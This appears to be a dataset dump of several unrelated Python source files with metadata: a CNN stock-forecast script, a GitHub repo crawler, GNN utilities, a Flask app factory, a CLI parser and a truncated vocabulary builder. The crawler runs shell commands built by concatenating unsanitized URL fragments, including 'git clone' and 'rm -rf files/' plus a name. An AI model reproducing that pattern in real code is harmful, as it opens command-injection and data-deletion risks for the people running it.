evaluate_forecasts(actuals, predictions_ff) #yhat is used to calculate loss for yhat+1 (realistic)\n\n\nsummarize_scores('cnn', score, scores)\n# plot scores\ndays = ['day1', 'day2', 'day3', 'day4', 'day5']\nplt.plot(days, scores, marker='o', label='cnn')\nplt.show()\n\nsummarize_scores('cnn', score_ff, scores_ff)\n# plot scores\ndays = ['day1', 'day2', 'day3', 'day4', 'day5']\nplt.plot(days, scores_ff, marker='o', label='cnn')\nplt.show()\n\n\n#In plotting the actuals v predictions below, it is possible that the model is\n#simply learning a persistance - that is, using the most recent value to make\n#the prediction.\nact = np.array(actuals)\n\npred = np.array(predictions)\npred_ff = np.array(predictions_ff)\n\nn_out=5\nfor i in range(0, n_out):\n\tplt.plot (actuals[-100:, i], color='blue', label='actual')\n\tplt.plot (predictions[-100:, i], color='orange', label='prediction')\n\tplt.plot(predictions_ff[-100:, i], color='red', label='prediction ff')\n\tplt.title (\"Actual v Prediction: Day \" + str(i+1))\n\tplt.legend()\n\tplt.show ()\n\n#Prints the most recent 5 days predictions\nplt.plot (actuals[-1:, :].flatten(), color='blue', label='actual')\nplt.plot (predictions[-1:, :].flatten(), color='orange', label='prediction')\nplt.plot(predictions_ff[-1:, :].flatten(), color='red', label='prediction ff')\nplt.legend()\nplt.show ()\n\n# Prints the most recent n days predictions - including day 1-5 of each period\nplt.plot(actuals[-10:, :].flatten(), color='blue', label='actual')\nplt.plot (predictions[-10:, :].flatten(), color='orange', label='prediction')\nplt.plot(predictions_ff[-10:, :].flatten(), color='red', label='prediction ff')\nplt.legend()\nplt.show()\n\n#Next thing is to do a correlation plot\n\nimport seaborn as sns\nimport scipy.stats as stats\n\ndef get_predictions(y, yhat):\n return pd.DataFrame({'actual': y, 'pred': yhat})\n\ndef get_regressor_charts(y, yhat):\n\n df = get_predictions(y, yhat)\n labels = df.columns\n\n fig = plt.figure(figsize=(8, 4))\n j = sns.jointplot(x='pred', y='actual', kind='reg', data=df, height=8)\n j.annotate(stats.pearsonr)\n plt.show()\n\npreds_ff_resh = predictions.reshape(predictions.shape[0], predictions.shape[2], predictions.shape[1])\nacts_resh = actuals.reshape(actuals.shape[0], actuals.shape[2], actuals.shape[1])\n\nfor i in range(0, n_out):\n\ty = acts_resh[:, :, i].flatten()\n\tyhat = preds_ff_resh[:, :, i].flatten()\n\tdf = get_regressor_charts(y, yhat)\n\n\n############################Now save the model and weights####################\nfrom numpy import loadtxt\nfrom keras.models import load_model\n\ncnn_seq_model.save('/home/ubuntu/stock_lstm/saved_models/cnn_seq_model.h5')\nprint(\"Saved model to disk\")\n\n# load model\ncnn_seq_model = load_model('/home/ubuntu/stock_lstm/saved_models/cnn_seq_model.h5') # summarize model. model.summary()", "sub_path": "archive_models/archive_persistance_model/archive_persistance_models/d_cnn_sequence_model.py", "file_name": "d_cnn_sequence_model.py", "file_ext": "py", "file_size_in_byte": 9417, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.path.append", "line_number": 19, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 34, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 36, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 62, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv1D", "line_number": 63, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling1D", "line_number": 64, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 65, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 66, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 67, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.constraints.maxnorm", "line_number": 68, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 159, "usage_type": "call"}, {"api_name": "equity_classes.classes.parent_rnn", "line_number": 170, "usage_type": "call"}, {"api_name": "equity_classes.classes", "line_number": 170, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 208, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 208, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 209, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 210, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 210, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 216, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 217, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 217, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 219, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 235, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "seaborn.jointplot", "line_number": 243, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 244, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "keras.models.load_model", "line_number": 264, "usage_type": "call"}]} +{"seq_id": "233066644", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nfrom operator import itemgetter\nfrom collections import OrderedDict\nimport os, requests, zipfile, io, time \n\ndef checkFile(path):\n test = os.popen(\"ls \" + path).read()\n global files\n files = []\n tmp =''\n for c in test:\n if c=='\\n':\n files.append(tmp)\n tmp = ''\n else:\n tmp+=c\n\ndef ready(page):\n time.sleep(10)\n params = (\n ('page', page),\n ('q', 'language:c++'),\n ('sort', 'stars'),\n ('order', 'desc'),\n )\n\n response_git = requests.get('https://api.github.com/search/repositories', params=params)\n response_git = response_git.json()\n\n response_git = response_git[\"items\"]\n for element in response_git:\n links.append(element[\"html_url\"])\n\ndef crawling(path): # cloning the git of repos\n time.sleep(10)\n if \"ShadowVPN\" in path:\n return\n name = path.split('/')[-1]\n html_crawl = urlopen(path + \"/releases/latest\") \n\n bsObject = BeautifulSoup(html_crawl, \"html.parser\")\n linking = bsObject.find('div', {\"class\":\"repository-content\"}).find('h3')\n\n #if name not in files:\n if linking != None:\n os.system(\"git clone \" + path + \".git files/\" + name)\n else:\n linking = bsObject.find(\"div\", {\"class\":\"d-block py-1 py-md-2 Box-body px-2\"})\n if linking != None:\n linking = linking.find('a')['href']\n else:\n linking = bsObject.find(\"a\", {\"class\":\"muted-link\", \"rel\":\"nofollow\"})['href']\n\n linking = \"https://github.com\" + linking\n r = requests.get(linking)\n z = zipfile.ZipFile(io.BytesIO(r.content))\n z.extractall(\"files/\" + name)\n \n########################################################################################################################################################\nglobal links \nlinks = []\n\n\nf = open(\"links_c.txt\", \"r\")\n\n#get the links which used on hashing.py\nfor i in f:\n translation_table = dict.fromkeys(map(ord, '\\n'), None)\n i = i.translate(translation_table)\n links.append(i)\n\nf.close()\n\n#for page in range(1,35):\n # ready(page)\nlocation = []\nsourcePath = \"/home/hanjung/intern/files/\"\n\n\nfor i in links: # scrapping repos at github search api \n print(i)\n\nresult = [] # results of info from iotcube\nopensource = []\n\ncheckFile(\"/home/hanjung/intern/hidx/\")\nhcnt=0\nycnt=0\n\n\nf = open(\"links_c.txt\", \"w\")\nodd = 0\nfor i in links: \n odd += 1\n source = sourcePath + i.split('/')[4]\n name = i.split('/')[4]\n print(name)\n if (\"hashmark_0_\" + name + \".hidx\") not in files:\n ycnt += 1\n print(\"not in: \" +str(ycnt))\n crawling(i)\n check = os.popen(\"find \" + source + \" -name \\\"*.c\\\"\").read()\n check += os.popen(\"find \" + source + \" -name \\\"*.cpp\\\"\").read()\n check += os.popen(\"find \" + source + \" -name \\\"*.cc\\\"\").read()\n check += os.popen(\"find \" + source + \" -name \\\"*.c++\\\"\").read()\n if(len(check)!=0):\n os.system(\"./hmark_3.1.0_linux_x64 -c \" + source + \" OFF\")\n print('@@@')\n f.write(i + \"\\n\")\n os.system(\"rm -rf files/\" + name)\n else:\n hcnt += 1\n print(\"in: \" + str(hcnt))\n f.write(i + \"\\n\")\n\nf.close()", "sub_path": "makeLink.py", "file_name": "makeLink.py", "file_ext": "py", "file_size_in_byte": 3263, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.popen", "line_number": 8, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 36, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 40, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "os.system", "line_number": 47, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 56, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 57, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 57, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 103, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 104, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 105, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 106, "usage_type": "call"}, {"api_name": "os.system", "line_number": 108, "usage_type": "call"}, {"api_name": "os.system", "line_number": 111, "usage_type": "call"}]} +{"seq_id": "320482048", "text": "import json\r\n\r\n\r\ndef load_json(filename):\r\n with open(filename) as f:\r\n return json.loads(f.read())\r\n\r\n\r\ndef extract_data(response):\r\n for key in response['response'].keys():\r\n if not key.isdigit():\r\n continue\r\n d = response['response'][key]['photo']\r\n if d.get('comment') and d.get('total_score'):\r\n comment = d['comment']\r\n score = d['total_score']\r\n data = {\r\n 'comment': comment,\r\n 'score': score\r\n }\r\n yield data\r\n\r\n\r\ndef save_as_json(save_file, record):\r\n with open(save_file, mode='a') as f:\r\n f.write(json.dumps(record) + '\\n')\r\n\r\n\r\nif __name__ == '__main__':\r\n file_name = 'data/response.json'\r\n save_file = 'data/dataset.jsonl'\r\n response = load_json(file_name)\r\n records = extract_data(response)\r\n for record in records:\r\n save_as_json(save_file, record)\r\n", "sub_path": "nlp_deeplearning_introduction/chapter03/scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 929, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "json.loads", "line_number": 6, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "342510766", "text": "import numpy as np\nimport scipy.sparse as sp\nimport torch\nimport pickle as pkl\n\nimport random\nimport networkx as nx\n\n\ndef set_seed(seed=0):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = False\n\n\ndef encode_onehot(labels):\n classes = set(labels)\n classes_dict = {c: np.identity(len(classes))[i, :] for i, c in\n enumerate(classes)}\n labels_onehot = np.array(list(map(classes_dict.get, labels)),\n dtype=np.int32)\n return labels_onehot\n\n\ndef parse_index_file(filename):\n index = []\n for line in open(filename):\n index.append(int(line.strip()))\n return index\n\n\ndef sample_mask(idx, l):\n \"\"\"Create mask.\"\"\"\n mask = np.zeros(l)\n mask[idx] = 1\n return np.array(mask, dtype=np.bool)\n\n\ndef load_data(dataset):\n # load the data: x, tx, allx, graph\n names = ['x', 'y', 'tx', 'ty', 'allx', 'ally', 'graph']\n objects = []\n for i in range(len(names)):\n '''\n fix Pickle incompatibility of numpy arrays between Python 2 and 3\n https://stackoverflow.com/questions/11305790/pickle-incompatibility-of-numpy-arrays-between-python-2-and-3\n '''\n with open(\"../data/ind.{}.{}\".format(dataset, names[i]), 'rb') as rf:\n u = pkl._Unpickler(rf)\n u.encoding = 'latin1'\n cur_data = u.load()\n objects.append(cur_data)\n # objects.append(\n # pkl.load(open(\"data/ind.{}.{}\".format(dataset, names[i]), 'rb')))\n x, y, tx, ty, allx, ally, graph = tuple(objects)\n test_idx_reorder = parse_index_file(\n \"../data/ind.{}.test.index\".format(dataset))\n test_idx_range = np.sort(test_idx_reorder)\n\n if dataset == 'citeseer':\n # Fix citeseer dataset (there are some isolated nodes in the graph)\n # Find isolated nodes, add them as zero-vecs into the right position\n test_idx_range_full = range(\n min(test_idx_reorder), max(test_idx_reorder) + 1)\n tx_extended = sp.lil_matrix((len(test_idx_range_full), x.shape[1]))\n tx_extended[test_idx_range - min(test_idx_range), :] = tx\n tx = tx_extended\n ty_extended = np.zeros((len(test_idx_range_full), y.shape[1]))\n ty_extended[test_idx_range - min(test_idx_range), :] = ty\n ty = ty_extended\n\n features = sp.vstack((allx, tx)).tolil()\n features[test_idx_reorder, :] = features[test_idx_range, :]\n features = torch.FloatTensor(np.array(features.todense()))\n adj = nx.adjacency_matrix(nx.from_dict_of_lists(graph))\n\n labels = np.vstack((ally, ty))\n labels[test_idx_reorder, :] = labels[test_idx_range, :]\n\n idx_test = test_idx_range.tolist()\n idx_train = range(len(y))\n idx_val = range(len(y), len(y) + 500)\n\n train_mask = sample_mask(idx_train, labels.shape[0])\n val_mask = sample_mask(idx_val, labels.shape[0])\n test_mask = sample_mask(idx_test, labels.shape[0])\n\n y_train = np.zeros(labels.shape)\n y_val = np.zeros(labels.shape)\n y_test = np.zeros(labels.shape)\n y_train[train_mask, :] = labels[train_mask, :]\n y_val[val_mask, :] = labels[val_mask, :]\n y_test[test_mask, :] = labels[test_mask, :]\n\n return adj, features, np.argmax(labels, 1), idx_train, idx_val, idx_test, nx.from_dict_of_lists(graph)\n\n\ndef normalize(mx):\n \"\"\"Row-normalize sparse matrix\"\"\"\n rowsum = np.array(mx.sum(1))\n r_inv = np.power(rowsum, -1).flatten()\n r_inv[np.isinf(r_inv)] = 0.\n r_mat_inv = sp.diags(r_inv)\n mx = r_mat_inv.dot(mx)\n return mx\n\n\ndef normalize_adj(mx, r=0.5):\n \"\"\"Row-normalize sparse matrix\"\"\"\n mx = sp.coo_matrix(mx) + sp.eye(mx.shape[0])\n rowsum = np.array(mx.sum(1))\n r_inv_sqrt_left = np.power(rowsum, r-1).flatten()\n r_inv_sqrt_left[np.isinf(r_inv_sqrt_left)] = 0.\n r_mat_inv_sqrt_left = sp.diags(r_inv_sqrt_left)\n\n r_inv_sqrt_right = np.power(rowsum, -r).flatten()\n r_inv_sqrt_right[np.isinf(r_inv_sqrt_right)] = 0.\n r_mat_inv_sqrt_right = sp.diags(r_inv_sqrt_right)\n adj_normalized = mx.dot(r_mat_inv_sqrt_left).transpose().dot(r_mat_inv_sqrt_right).tocoo()\n return sparse_mx_to_torch_sparse_tensor(adj_normalized)\n\n\ndef accuracy(output, labels):\n preds = output.max(1)[1].type_as(labels)\n correct = preds.eq(labels).double()\n correct = correct.sum()\n return correct / len(labels)\n\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n", "sub_path": "src/scalability/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4888, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "random.seed", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 17, "usage_type": "attribute"}, {"api_name": "numpy.identity", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.bool", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pickle._Unpickler", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 62, "usage_type": "call"}, {"api_name": "scipy.sparse.lil_matrix", "line_number": 69, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.sparse.vstack", "line_number": 76, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 78, "usage_type": "call"}, {"api_name": "networkx.adjacency_matrix", "line_number": 79, "usage_type": "call"}, {"api_name": "networkx.from_dict_of_lists", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 99, "usage_type": "call"}, {"api_name": "networkx.from_dict_of_lists", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.isinf", "line_number": 106, "usage_type": "call"}, {"api_name": "scipy.sparse.diags", "line_number": 107, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 107, "usage_type": "name"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 114, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 114, "usage_type": "name"}, {"api_name": "scipy.sparse.eye", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.isinf", "line_number": 117, "usage_type": "call"}, {"api_name": "scipy.sparse.diags", "line_number": 118, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.power", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.isinf", "line_number": 121, "usage_type": "call"}, {"api_name": "scipy.sparse.diags", "line_number": 122, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 122, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 136, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.Size", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.sparse.FloatTensor", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.sparse", "line_number": 141, "usage_type": "attribute"}]} +{"seq_id": "461437299", "text": "\"\"\"\napp/__init__.py\n====================================\nCreate our application\n\"\"\"\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_login import LoginManager\nfrom flask_wtf.csrf import CSRFProtect\nfrom flask_cors import CORS\nfrom config import app_config\n\n# DEVELOPERS-NOTE: -INCLUDE YOUR IMPORTS HERE-\n\n# -END-\n\ndb = SQLAlchemy()\nmigrate = Migrate()\ncsrf = CSRFProtect()\ncors = CORS()\nlogin_manager = LoginManager()\n\n# DEVELOPERS-NOTE: -INITIATE YOUR IMPORTS HERE-\n\n# -END-\n\n\nMODULES = []\n\nCONTEXT = {\n 'system_modules': []\n}\n\n\ndef internal_server_error(e):\n from flask import render_template\n return render_template('admin/internal_server_error.html'), 500\n\n\ndef create_app(config_name):\n \"\"\"\n Return the app at crenecreate nito ang application\n ----------\n config_name\n A string para kung ano ang gagamiting environment configuration(eg.develop,production,testing)\n \"\"\"\n app = Flask(__name__, instance_relative_config=False)\n app.config.from_object(app_config[config_name])\n app.register_error_handler(500, internal_server_error)\n\n db.init_app(app)\n migrate.init_app(app, db)\n login_manager.init_app(app)\n cors.init_app(app)\n csrf.init_app(app)\n\n # DEVELOPERS-NOTE: -INITIALIZE YOUR IMPORTS HERE-\n\n # -END-\n\n login_manager.login_view = 'bp_auth.login'\n login_manager.login_message = \"You must be logged in to access this page.\"\n\n with app.app_context():\n\n # DEVELOPERS-NOTE: -IMPORT HERE THE SYSTEM MODULES-\n from app.core import bp_core\n from app.auth import bp_auth\n from app.admin import bp_admin\n # -Add here-\n # -END-\n\n # DEVELOPERS-NOTE: -REGISTER HERE THE MODULE BLUEPRINTS-\n app.register_blueprint(bp_core, url_prefix='/')\n app.register_blueprint(bp_auth, url_prefix='/auth')\n app.register_blueprint(bp_admin, url_prefix='/admin')\n # -Add here-\n # -END-\n\n # DEVELOPERS-NOTE: -INCLUDE HERE YOUR MODULE Admin models FOR ADMIN TEMPLATE-\n from app.admin.admin import AdminModule\n from app.auth.auth import AuthModule\n # -Add here-\n # -END-\n \n # DEVELOPERS-NOTE: -APPEND YOUR MODULE HERE-\n MODULES.append(AdminModule)\n MODULES.append(AuthModule)\n # -Add here-\n # -END-\n\n # Load CONTEXT data\n CONTEXT['header_color'] = 'header_color15' # Default color\n CONTEXT['sidebar_color'] = \"sidebar_color15\" # Default color\n\n return app\n", "sub_path": "app/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 2668, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 18, "usage_type": "call"}, {"api_name": "flask_migrate.Migrate", "line_number": 19, "usage_type": "call"}, {"api_name": "flask_wtf.csrf.CSRFProtect", "line_number": 20, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 21, "usage_type": "call"}, {"api_name": "flask_login.LoginManager", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 48, "usage_type": "call"}, {"api_name": "config.app_config", "line_number": 49, "usage_type": "name"}, {"api_name": "app.core.register_blueprint", "line_number": 75, "usage_type": "call"}, {"api_name": "app.core.bp_core", "line_number": 75, "usage_type": "argument"}, {"api_name": "app.core", "line_number": 75, "usage_type": "name"}, {"api_name": "app.core.register_blueprint", "line_number": 76, "usage_type": "call"}, {"api_name": "app.auth.bp_auth", "line_number": 76, "usage_type": "argument"}, {"api_name": "app.core", "line_number": 76, "usage_type": "name"}, {"api_name": "app.core.register_blueprint", "line_number": 77, "usage_type": "call"}, {"api_name": "app.admin.bp_admin", "line_number": 77, "usage_type": "argument"}, {"api_name": "app.core", "line_number": 77, "usage_type": "name"}, {"api_name": "app.admin.admin.AdminModule", "line_number": 88, "usage_type": "argument"}, {"api_name": "app.auth.auth.AuthModule", "line_number": 89, "usage_type": "argument"}, {"api_name": "app.core", "line_number": 97, "usage_type": "name"}]} +{"seq_id": "428077081", "text": "\"\"\"\nCommand line argument parsing\n\"\"\"\nimport argparse\nfrom typing import List\n\n\ndef parse_args(argv: List[str]):\n \"\"\"\n :param argv: Command line arguments\n :return: Opened file (if '-f') or None, if it should use clipboard for input,\n and if it should use clipboard for output.\n \"\"\"\n parser = argparse.ArgumentParser()\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\"-c\", \"--copy\",\n help=\"Uses contents of a clipboard as input\",\n action=\"store_true\", default=False)\n group.add_argument(\"-f\", \"--file\", type=argparse.FileType('r'),\n help=\"Uses contents of a text file as input\",\n default=None)\n parser.add_argument(\"-p\", \"--paste\",\n help=\"Pastes the link in a clipboard instead of printing\",\n action=\"store_true\", default=False)\n parser.add_argument(\"-d\", \"--debug\", help=\"Shows the log messages\",\n action=\"store_true\", default=False)\n args = parser.parse_args(argv)\n return args\n\n\n", "sub_path": "src/hasty/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 1097, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "286572369", "text": "import collections\nimport os\nimport pickle\n\nSUFFIX = '_1'\n\nOUT_DIR = '/Users/kristenaw/Documents/Stanford/project/taffy/s2s/out/'\nDATA_DIR = '/Users/kristenaw/Documents/Stanford/project/out/'\n#OUT_DIR = '/Users/jiayu/Documents/1Stanford/cs229/project/taffy/s2s/out/'\n#DATA_DIR = '/Users/jiayu/Documents/1Stanford/cs229/project/out/'\n\nCMD_MK_VOCAB = 'mk_vocab'\nCMD_MK_IDS = 'mk_converted_ids'\n\n#cmd = CMD_MK_VOCAB\ncmd = CMD_MK_IDS\n\n\nSTART_TOKEN = \"\" # id: 0\nEND_TOKEN = \"\" # id: 1\nUNK_TOKEN = \"\"\nSTART_TOKEN_ID = 0\nEND_TOKEN_ID = 1\nUNK_TOKEN_ID = 2\n\n\ndef make_vocab(filenames):\n word_counts = collections.Counter()\n for filename in filenames:\n with open(filename, 'r') as f:\n words = f.read()\n words = words.lower().split()\n word_counts.update(words)\n vocab = []#[START_TOKEN, END_TOKEN, UNK_TOKEN]\n vocab.extend([word for word in word_counts])\n vocab_to_ids = {word: id for id, word in enumerate(vocab)}\n id_to_vocabs = {id: word for word, id in vocab_to_ids.items()}\n return vocab_to_ids, id_to_vocabs\n\n\ndef save_vocab(data_filenames, vocab_prefix):\n vocab = make_vocab(data_filenames)\n vocab_filename = vocab_prefix + SUFFIX + '.pk'\n print('Pickling vocab to:', vocab_filename)\n with open(vocab_filename, 'wb') as f:\n pickle.dump(vocab, f)\n\n\ndef 